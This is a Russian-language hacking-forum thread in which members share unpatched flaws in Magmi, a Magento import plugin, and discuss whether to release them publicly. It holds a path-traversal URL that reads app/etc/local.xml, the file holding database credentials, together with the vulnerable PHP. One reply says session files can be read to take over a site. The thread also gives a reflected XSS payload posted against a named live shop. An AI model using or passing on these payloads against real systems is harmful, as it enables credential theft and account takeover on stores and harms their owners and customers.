Локальня читалка Magento

Discussion in 'Веб-уязвимости' started by winstrool, 17 Feb 2015.

  1. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,411
    Likes Received:
    903
    Reputations:
    863
    Локальня читалка Magento:
    http://localhost/magmi/web/download_file.php?file=../../app/etc/local.xml

    Пример уязвимых урлов:
    Уязвимый код:
    PHP:
    $file=$_REQUEST["file"];
    $f=@fopen($file,"r");
    $err=error_get_last();
    if(
    $f!==false)
    {
    @
    fclose($f);
    }
    if(
    $err==null)
    {
        
    // Extract the type of file which will be sent to the browser as a header
    $type filetype($file);
     
    // Get a date and timestamp
    $today date("F j, Y, g:i a");
    $time time();
     
    // Send file headers
    header("Content-type: $type");
    header("Content-Disposition: attachment;filename=".basename($file));
    header("Content-Transfer-Encoding: binary");
    header('Pragma: no-cache');
    header('Expires: 0');
    // Send the file contents.
    set_time_limit(0);
    readfile($file);
    }
    else
    {
        
    print_r($err);
    }
    P.S: В гугле по этой баге ничего не нашел.

    P.S:
    Обнаружил случайно в пакете с обновлением фикса баги
    _http://www.exploit-db.com/exploits/35052/
    сам фикс с багой, читалкой на гитхабе
    https://github.com/dweeves/magmi-git Magento CE 1.8.x & 1.9.x
     
    _________________________
    #1 winstrool, 17 Feb 2015
    Last edited: 17 Feb 2015
    Filipp and Strilo4ka like this.
  2. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    Хм, Magento на FreeBSD, возможно, можно сразу скомпроментировать, так как при чтении директории(это тоже файл!) можно получить список файлов. Сессия по умолчанию пишется в файловую си-му в install-dir/var/session обычно, в БД редко(в Wizard установщике по дефолту файловая си-ма :))
     
    #2 Strilo4ka, 18 May 2015
    Last edited: 18 May 2015
  3. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,411
    Likes Received:
    903
    Reputations:
    863
    Может пора спустить в паблик?
     
    _________________________
  4. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    919
    Reputations:
    862
    Не стоит
     
    _________________________
  5. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,533
    Reputations:
    1,128
    В целом, стоит - не стоит, решать автору :)
     
  6. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,411
    Likes Received:
    903
    Reputations:
    863
    спускай, а на гитхабе сделаем ссылку на пост)) пускай фиксят, бага все равно мало полезная...

    P.S:Пасивная XSS
    http://www.lowellcraft.com/magmi/web/ajax_gettime.php
    POST:prefix=<script>alert('xss')</script>

    magmi/web/ajax_gettime.php
    PHP:
    <?php
    echo $_REQUEST["prefix"] . ":" strftime("%c");
    ?>
    При GET запросе на примерной площадке сробатывает мод секьюрети
     
    _________________________
    #6 winstrool, 7 Sep 2015
    Last edited: 7 Sep 2015
  7. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,411
    Likes Received:
    903
    Reputations:
    863
    _________________________
  8. ZodiaX

    ZodiaX Reservists Of Antichat

    Joined:
    7 May 2009
    Messages:
    533
    Likes Received:
    308
    Reputations:
    51
  9. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,411
    Likes Received:
    903
    Reputations:
    863
    Да, только там при правильном подходе идет выполнения php кода, а тут просто читалка
     
    _________________________
    ZodiaX likes this.